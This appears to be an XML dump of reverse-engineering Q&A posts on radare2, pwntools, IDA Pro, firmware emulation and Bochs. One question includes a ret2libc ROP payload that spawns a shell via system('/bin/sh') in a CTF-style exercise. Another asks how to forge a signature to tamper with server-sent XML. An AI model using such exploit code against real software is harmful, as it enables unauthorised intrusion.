  <row Id="19782" PostTypeId="1" AcceptedAnswerId="19783" CreationDate="2018-11-01T16:36:33.060" Score="2" ViewCount="2476" Body="&lt;p&gt;When I run &lt;code&gt;ie&lt;/code&gt;, I get multiple addresses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x41417641]&amp;gt; ie&#xA;[Entrypoints]&#xA;vaddr=0x080483d0 paddr=0x000003d0 baddr=0x08048000 laddr=0x00000000 haddr=0x00000018 hvaddr=0x08048018 type=program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does baddr, laddr, haddr, and hvaddr refer to? When I run &lt;code&gt;ieq&lt;/code&gt; for &lt;code&gt;[q]uite&lt;/code&gt;, I get the &lt;code&gt;vaddr&lt;/code&gt;. What's the difference between that and the other addresses listed under the entry point?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-01T17:41:26.843" Title="What does paddr, baddr, laddr, haddr, and hvaddr refer to?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19783" PostTypeId="2" ParentId="19782" CreationDate="2018-11-01T17:41:26.843" Score="5" Body="&lt;p&gt;Most of the time, you would not need any of these except the &lt;code&gt;vaddr&lt;/code&gt; and the &lt;code&gt;paddr&lt;/code&gt;. Since thoroughly explaining each of these names would take too much time, I'll share here the short meaning of each of these keywords. Most of them should be easy to understand.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;vaddr -  Virtual Address&lt;/li&gt;&#xA;&lt;li&gt;paddr -  Physical Address&lt;/li&gt;&#xA;&lt;li&gt;laddr -  Load Address&lt;/li&gt;&#xA;&lt;li&gt;baddr -  Base Address&lt;/li&gt;&#xA;&lt;li&gt;haddr -  e_entry\AddressOfEntryPoint in binary header&lt;/li&gt;&#xA;&lt;li&gt;hvaddr - Header Physical Address&lt;/li&gt;&#xA;&lt;li&gt;hpaddr - e_entry\AddressOfEntryPoint offset in binary header&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-11-01T17:41:26.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19784" PostTypeId="1" AcceptedAnswerId="19786" CreationDate="2018-11-01T17:44:28.203" Score="0" ViewCount="5312" Body="&lt;p&gt;When I run &lt;code&gt;pwntools&lt;/code&gt;, I'm getting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[+] Here comes the shell!&#xA;[*] Switching to interactive mode&#xA;[*] Got EOF while reading in interactive&#xA;$  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is it getting &lt;code&gt;EOF&lt;/code&gt;? Where should I start looking for the problem, currently my second payload is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Build 2nd payload&#xA;payload2  =  b'A'*140&#xA;ropchain2 =  p32(system_addr)&#xA;ropchain2 += p32(exit_addr)&#xA;# Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)&#xA;#           Thus you'll execute system(&quot;sh&quot;)&#xA;ropchain2 += p32(binsh_addr) &#xA;&#xA;payload2 = payload2 + ropchain2            &#xA;p.sendline(payload2)                       &#xA;&#xA;log.success(&quot;Here comes the shell!&quot;)       &#xA;&#xA;p.clean()                                  &#xA;p.interactive()                            &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is adapted from the &lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Megabeets example&lt;/a&gt; with the &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/19778/22669&quot;&gt;modification given here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I &lt;code&gt;print(payload2)&lt;/code&gt;, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xe2\xdd\xf7\xd0\x13\xdd\xf7\xcf\xf0\xf1\xf7'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which seems correct. The values I used to generate the payload are,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Addresses                        &#xA;puts_plt    = 0x08048390           &#xA;puts_got    = 0x0804a014           &#xA;entry_point = 0x080483d0           &#xA;&#xA;# Offsets                          &#xA;offset_puts       = 0x00067b40     &#xA;offset_system     = 0x0003d200     &#xA;offset_exit       = 0x000303d0     &#xA;offset_str_bin_sh = 0x17e0cf     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2019-04-30T20:03:45.747" Title="Pwntools shows, &quot;Got EOF while reading in interactive&quot;?" Tags="|pwntools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19785" PostTypeId="2" ParentId="19780" CreationDate="2018-11-01T18:29:56.200" Score="9" Body="&lt;p&gt;Emulating a complete physical device is always going to be more of an experimental exercise. In this regard you can use &lt;a href=&quot;https://github.com/firmadyne/firmadyne&quot; rel=&quot;noreferrer&quot;&gt;firmadyne&lt;/a&gt; which aims to emulate Linux based embedded firmware for MIPS and ARM devices. It's based on the venerable QEMU project. There's also &lt;a href=&quot;https://github.com/attify/firmware-analysis-toolkit&quot; rel=&quot;noreferrer&quot;&gt;firmware analysis toolkit&lt;/a&gt; which is a wrapper around firmadyne allowing you to automate some of the tasks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However firmadyne is not without its pitfalls. Frequently, you will come across various firmware binaries that fail to emulate properly (like no network access) primarily due to the missing hardware in the emulated environment. In such cases manual tweaking may be necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More often than not a full system emulation of the device is not always necessary in order to be able to interact with the web server. We can use binwalk to extract the filesystem and run the web-server using QEMU user mode emulation in a chrooted environment.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Further read:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.dcddcc.com/docs/2016_paper_firmadyne.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.dcddcc.com/docs/2016_paper_firmadyne.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.attify.com/getting-started-with-firmware-emulation/&quot; rel=&quot;noreferrer&quot;&gt;https://blog.attify.com/getting-started-with-firmware-emulation/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://youtu.be/G0NNBloGIvs&quot; rel=&quot;noreferrer&quot;&gt;Firmware emulation with QEMU&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2018-11-01T18:29:56.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19786" PostTypeId="2" ParentId="19784" CreationDate="2018-11-01T19:52:37.193" Score="1" Body="&lt;p&gt;Alright. So the issue here was I think that Radare was addressing libc based on a version on disk. And, the version in memory was different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I &lt;strong&gt;restarted&lt;/strong&gt; the computer and redid the offset math and it worked!&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-01T19:52:37.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19789" PostTypeId="1" AcceptedAnswerId="19792" CreationDate="2018-11-02T00:37:38.333" Score="2" ViewCount="408" Body="&lt;p&gt;Radare2 seems to have thousands of commands. Is there a way to search all of those commands?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like let's say I want to find all commands that had &lt;code&gt;rot&lt;/code&gt; (for &lt;a href=&quot;https://en.wikipedia.org/wiki/ROT13&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rot13&lt;/code&gt;&lt;/a&gt;), is there a method to do this?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-06T16:58:15.170" Title="Can I search Radare's help system?" Tags="|radare2|documentation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19791" PostTypeId="1" CreationDate="2018-11-02T05:25:36.117" Score="3" ViewCount="2885" Body="&lt;p&gt;Below questions are related to IDA Pro debugging: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How can I see values of general registers directly in Registers view of IDA Pro similar to Olly instead of clicking on jump link? It is having jump link which takes to declaration of value (See the right top corner of the attached image for comparison between IDA Pro and Olly) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How can I see values of stack in ASCII format in Stack view like Ollydb. I see some debug007:1000dfXXXX kind values, but not ASCII decoded values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Further I would like to see arguments being passed to APIs or Functions. For example ReadFile api takes arguments of hFile, Ollydb shows it in stack view but IDA pro's stack view is not clear (See bottom right corner of the attached image to compare between IDA pro and ollydb) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) When I try to use ASCII as decoding format for Text of HEX view it is not showing right output it is completely different from Olly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RuUsb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RuUsb.png&quot; alt=&quot;screenshot of IDA Pro and Olly comparison&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26218" LastActivityDate="2019-07-14T12:01:40.230" Title="IDA Pro's debugging - Stack view , Register values and ASCII decoding" Tags="|ida|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19792" PostTypeId="2" ParentId="19789" CreationDate="2018-11-02T06:01:44.373" Score="6" Body="&lt;p&gt;You can try to find a command with searching over all help texts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to filter the result simply add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?*~keyword&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2018-11-02T06:01:44.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19793" PostTypeId="1" AcceptedAnswerId="19795" CreationDate="2018-11-02T07:23:59.137" Score="-1" ViewCount="10340" Body="&lt;p&gt;Any person can give some examples or resources about how to use IDA Pro debug Android Application? &lt;/p&gt;&#xA;" OwnerUserId="25198" LastActivityDate="2018-11-02T12:22:36.103" Title="How to use IDA Pro debug Android Application?" Tags="|android|" AnswerCount="1" CommentCount="1" ClosedDate="2018-11-02T12:21:17.180" ContentLicense="CC BY-SA 4.0" />
  <row Id="19795" PostTypeId="2" ParentId="19793" CreationDate="2018-11-02T11:11:00.600" Score="6" Body="&lt;p&gt;(Although IDA lets you reverse &lt;code&gt;.class&lt;/code&gt; files, there are tools that convert the Java byte code back to source code and are preferred for this)&lt;br&gt;&#xA;It's pretty common nowadays to compile libraries and use &lt;a href=&quot;https://developer.android.com/ndk/&quot; rel=&quot;noreferrer&quot;&gt;NDK&lt;/a&gt; to develop a part of your app in C/C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those parts will be compiled to an &lt;code&gt;.so&lt;/code&gt; files, which can be invoked using the java code.&lt;br&gt;&#xA;You can reverse those files, they should even contain some symbols in a form of &lt;code&gt;package_classname_method&lt;/code&gt; to know who can invoke them.&lt;br&gt;&#xA;Other than that, I don't think ida can offer something to reverse android apps.&lt;br&gt;&#xA;The point is - Ida is not a general app reversing tool, it has a specific use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, here are examples: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hexblog.com/?p=809&quot; rel=&quot;noreferrer&quot;&gt;IDA Dalvik debugger: tips and tricks&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05c-Reverse-Engineering-and-Tampering.md#ida-pro&quot; rel=&quot;noreferrer&quot;&gt;Reverse-Engineering-and-Tampering&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://resources.infosecinstitute.com/guide-debugging-android-binaries/#gref&quot; rel=&quot;noreferrer&quot;&gt;Remote debugging using IDA Pro&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user22970" LastEditorUserId="245" LastEditDate="2018-11-02T12:22:36.103" LastActivityDate="2018-11-02T12:22:36.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19796" PostTypeId="1" AcceptedAnswerId="19814" CreationDate="2018-11-02T14:20:25.680" Score="2" ViewCount="258" Body="&lt;p&gt;I am doing a challenge for a CTF and I have to reverse an encryption scheme to find a flag. However it would be easier to just try all inputs but they are too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an instruction that when reached means we have guessed the current letter. How can I check in a script if that breakpoint is reached before the program ends and how much times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the gdb python interface but i find it not very well documented. I have tried frida but i cannot hook to an address but to a function. And r2pipe cannot send text to stdin easily.&lt;/p&gt;&#xA;" OwnerUserId="26228" LastActivityDate="2018-11-05T05:11:30.050" Title="Check if instruction is reached" Tags="|disassembly|hooking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19798" PostTypeId="1" CreationDate="2018-11-02T16:12:18.547" Score="1" ViewCount="250" Body="&lt;p&gt;In Windows 10, I can easily intercept traffic of an application using Proxifier and route it to Charles proxy, so that I can inspect and edit the data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; exe -&amp;gt; Proxifier (Socks proxy to localhost:8889) -&amp;gt; Charles (socks listen localhost:8889)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now would like to replace Charles with my own Java server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public void StartListener(int port) throws Exception {&#xA;    HttpServer server = HttpServer.create(new InetSocketAddress(8889), 0);&#xA;    server.createContext(&quot;/MyHandler&quot;, new MyHandler());&#xA;    server.setExecutor(null);&#xA;    server.start();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this works fine if I turn off Proxifier (or even if it's on) open Chrome and navigate to &lt;code&gt;localhost:8889/MyHandler&lt;/code&gt; it does not when the exe tries to connect to &lt;code&gt;ExeWebsite.com:80/MyHandler&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried settings up Proxifier either as Socks or Http proxy but nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to edit the Java server like this, as per &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/net/InetSocketAddress.html?is-external=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;specs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HttpServer.create(new InetSocketAddress(&quot;ExeWebsite.com&quot;, 80), 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result I see in Proxifier log is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;exe.exe *64 - ExeWebsite.com:80 error :&#xA;  Could not connect through proxy 127.0.0.1:8882 - Proxy server cannot&#xA;  establish a connection with the target, status code 400&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which tool should I use to quickly and painlessly redirect all the traffic to my local server?&lt;/p&gt;&#xA;" OwnerUserId="26190" LastActivityDate="2018-11-02T16:12:18.547" Title="Intercept traffic from exe to my Java server" Tags="|java|networking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19799" PostTypeId="1" CreationDate="2018-11-02T17:44:23.247" Score="2" ViewCount="168" Body="&lt;p&gt;I cross-compiled a simple program with the &lt;code&gt;aarch-linux-gnu-gcc&lt;/code&gt; compiler for ARM. So the machine is &quot;ARM aarch64&quot;. I want to understand a single instruction and it's realization in ESIL. The opcode of the instruction is: &#xA;&lt;code&gt;movk x4, 0x40, lsl 16&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ESIL-string is: &lt;code&gt;-4294901761,x4,&amp;amp;,4194304,|,x4,=&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody an idea, why it looks like that? Shouldn't it be a &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; to &quot;shift left&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The R2 commands I run are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aa&#xA;e asm.syntax = att&#xA;e asm.emu = true&#xA;pdfj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(But i did this in R2pipe)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am curious about the solution and thank you in advance! :)&lt;/p&gt;&#xA;" OwnerUserId="26231" LastEditorUserId="2147" LastEditDate="2018-11-02T21:33:13.120" LastActivityDate="2018-11-02T21:33:13.120" Title="Understanding ESIL" Tags="|arm|radare2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19800" PostTypeId="2" ParentId="19789" CreationDate="2018-11-02T20:06:43.493" Score="5" Body="&lt;p&gt;You can use &lt;code&gt;?*~...&lt;/code&gt; to do interactive search in all help commands:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jw6Eu.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jw6Eu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25996" LastEditorUserId="25996" LastEditDate="2018-11-06T16:58:15.170" LastActivityDate="2018-11-06T16:58:15.170" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19801" PostTypeId="2" ParentId="19180" CreationDate="2018-11-02T20:23:54.987" Score="1" Body="&lt;p&gt;Fiddler and Charles Proxy are web debugging proxies so they only capture http/s traffic. If the game doesn't use the http protocol the trafic wont appear in these tools.&lt;/p&gt;&#xA;" OwnerUserId="25996" LastActivityDate="2018-11-02T20:23:54.987" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19802" PostTypeId="2" ParentId="19796" CreationDate="2018-11-02T20:32:29.900" Score="1" Body="&lt;p&gt;Easy stupid way: patch the instruction with an invalid one, if the program crashes you know the instruction has been hit&lt;/p&gt;&#xA;" OwnerUserId="25996" LastActivityDate="2018-11-02T20:32:29.900" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19803" PostTypeId="1" AcceptedAnswerId="19806" CreationDate="2018-11-02T20:34:18.337" Score="1" ViewCount="974" Body="&lt;p&gt;A Java application verifies that an XML string that came from a clearnet server (no  SSL) has not been tampered, using a message digest. It does so with a public key stored locally, accessed with the variable &lt;code&gt;pk_enc&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application asks an external server for 2 strings: the XML and a hash (both encoded base64):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String xml_enc = // ...&#xA;String hashStr_enc = // ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The application then decodes from base64:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String xml = new String(Base64.decode(xml_enc));&#xA;byte[] hashStr = Base64.decode(hashStr_enc);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;xml&lt;/code&gt; we now have a readable XML string and in &lt;code&gt;hashStr_dec&lt;/code&gt; a bunch of unreadable characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then verifies that the result of these 2 functions are equal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public String createMD5hashForResponseXMLDocument(String xml) {&#xA;    try {&#xA;        byte[] e = xml.getBytes();&#xA;        MessageDigest algorithm = MessageDigest.getInstance(&quot;MD5&quot;);&#xA;        algorithm.reset();&#xA;        algorithm.update(e);&#xA;        byte[] messageDigest = algorithm.digest();&#xA;        StringBuffer hexString = new StringBuffer();&#xA;&#xA;        for (int i = 0; i &amp;lt; messageDigest.length; ++i) {&#xA;            hexString.append(Integer.toString((messageDigest[i] &amp;amp; 255) + 256, 16).substring(1));&#xA;        }&#xA;&#xA;        return hexString.toString();&#xA;    } catch (Exception e) {&#xA;        e.printStackTrace();&#xA;        return &quot;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public String decryptRSAcipherUsedForSigning(String pk_enc, byte[] hashStr) {&#xA;    try {&#xA;&#xA;        X509EncodedKeySpec e = new X509EncodedKeySpec(decodeBASE64(pk_enc));&#xA;        KeyFactory keyFactory = KeyFactory.getInstance(&quot;RSA&quot;);&#xA;        RSAPublicKey RSApublicKey = (RSAPublicKey) keyFactory.generatePublic(e);&#xA;        Cipher cipher = Cipher.getInstance(&quot;RSA/ECB/PKCS1PADDING&quot;);&#xA;        cipher.init(2, RSApublicKey);&#xA;        byte[] MD5hash = cipher.doFinal(hashStr);&#xA;        return new String(MD5hash);&#xA;&#xA;    } catch (Exception e) {&#xA;        e.printStackTrace();&#xA;        return &quot;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works as long as you don't touch the XML, and the result of the 2 functions computes as equal.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I would now like to modify the XML and compute the hash correctly (the reverse of what happens above). Given that I have &lt;code&gt;pk_enc&lt;/code&gt; it shouldn't be impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that? Here's what I've tried. For simplicity sake, I used the same XML as the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I fed the unencoded XML to &lt;code&gt;createMD5hashForResponseXMLDocument&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String xml_md5 = createMD5hashForResponseXMLDocument(my_xml_string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I run this function. It's the same as &lt;code&gt;decryptRSAcipherUsedForSigning&lt;/code&gt; but I changed &lt;code&gt;cipher.init(2, RSApublicKey);&lt;/code&gt; to &lt;code&gt;cipher.init(1, RSApublicKey);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public byte[] encryptHash(String pk_enc, String xml_m5d) {&#xA;        try {&#xA;            X509EncodedKeySpec e = new X509EncodedKeySpec(decodeBASE64(pk_enc));&#xA;            KeyFactory keyFactory = KeyFactory.getInstance(&quot;RSA&quot;);&#xA;            RSAPublicKey RSApublicKey = (RSAPublicKey) keyFactory.generatePublic(e);&#xA;            Cipher cipher = Cipher.getInstance(&quot;RSA/ECB/PKCS1PADDING&quot;);&#xA;            cipher.init(1, RSApublicKey);&#xA;            byte[] result = cipher.doFinal(xml_m5d.getBytes());&#xA;            return result;&#xA;&#xA;        } catch (Exception e) {&#xA;            e.printStackTrace();&#xA;            return &quot;&quot;.getBytes();&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not working: provided with the same XML I've started with, it does not produce the same result. Furthermore, if I try to to feed it back to &lt;code&gt;decryptRSAcipherUsedForSigning&lt;/code&gt; I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javax.crypto.BadPaddingException: Decryption error&#xA;    at sun.security.rsa.RSAPadding.unpadV15(Unknown Source)&#xA;    at sun.security.rsa.RSAPadding.unpad(Unknown Source)&#xA;    at com.sun.crypto.provider.RSACipher.doFinal(RSACipher.java:356)&#xA;    at com.sun.crypto.provider.RSACipher.engineDoFinal(RSACipher.java:389)&#xA;    at javax.crypto.Cipher.doFinal(Cipher.java:2164)&#xA;    at com.test.test.MainTest.decryptRSAcipherUsedForSigning(MainTest.java:112)&#xA;    at com.test.test.MainTest.Execute(MainTest.java:59)&#xA;    at com.test.test.test.main(test.java:13)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note I'm aware of the difference between String and byte[] and I've been careful to not switch inappropriately between the twos. Although I do not exclude that might be the problem, it should be ok.&lt;/p&gt;&#xA;" OwnerUserId="26190" LastEditorUserId="26190" LastEditDate="2018-11-03T02:12:06.883" LastActivityDate="2018-12-03T03:02:15.310" Title="Reversing a Java digest function, with known public key and source code" Tags="|encryption|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19805" PostTypeId="1" CreationDate="2018-11-03T00:59:56.533" Score="2" ViewCount="1695" Body="&lt;p&gt;I have a floppy disk image which I am trying to load with Bochs Emulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is from a CTF challenge and can be downloaded from here: &lt;a href=&quot;http://squarectf.com/2017/floppy.img&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://squarectf.com/2017/floppy.img&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Bochs version 2.3.9 on Windows 7 x64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started Bochs.exe and configured the memory and disk settings as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HjvEp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HjvEp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disk and Boot options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4dYKf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4dYKf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I start the emulator, it gives the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1xUyl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1xUyl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a writeup online for this CTF that describes the same method for loading the disk image and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know why it does not work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am able to load the disk image using qemu-system-x86_64 or qemu-system-i386 on Linux already. However, I want to understand why I cannot load it with Bochs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even tried the method of creating a bochsrc file and loading it using bochsdbg.exe as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bochsdbg.exe -f bochsrc -q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I still get an error while loading it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I am able to load the image in Bochs emulator by selecting floppy as the boot device under Boot options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I cannot load the image using bochsdbg.exe. Below is my bochsrc.txt file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;romimage: file=$BXSHARE/BIOS-bochs-latest&#xA;vgaromimage: file=$BXSHARE/VGABIOS-lgpl-latest&#xA;megs: 16&#xA;ata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14&#xA;ata0-master: type=disk, path=&quot;floppy.img&quot;, mode=flat, cylinders=2, heads=16, spt=63&#xA;boot: floppy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bochs is exiting with the following message:&#xA;[      ] bochsrc.txt:5: ataX-master/slave: unknown type 'floppy'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason I want to have a proper bochsrc file is because I want to use IDA Pro to debug the boot sector.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="2673" LastEditDate="2018-11-03T13:34:06.793" LastActivityDate="2022-11-29T07:16:32.887" Title="Cannot load a Floppy Disk image with Bochs emulator" Tags="|emulation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
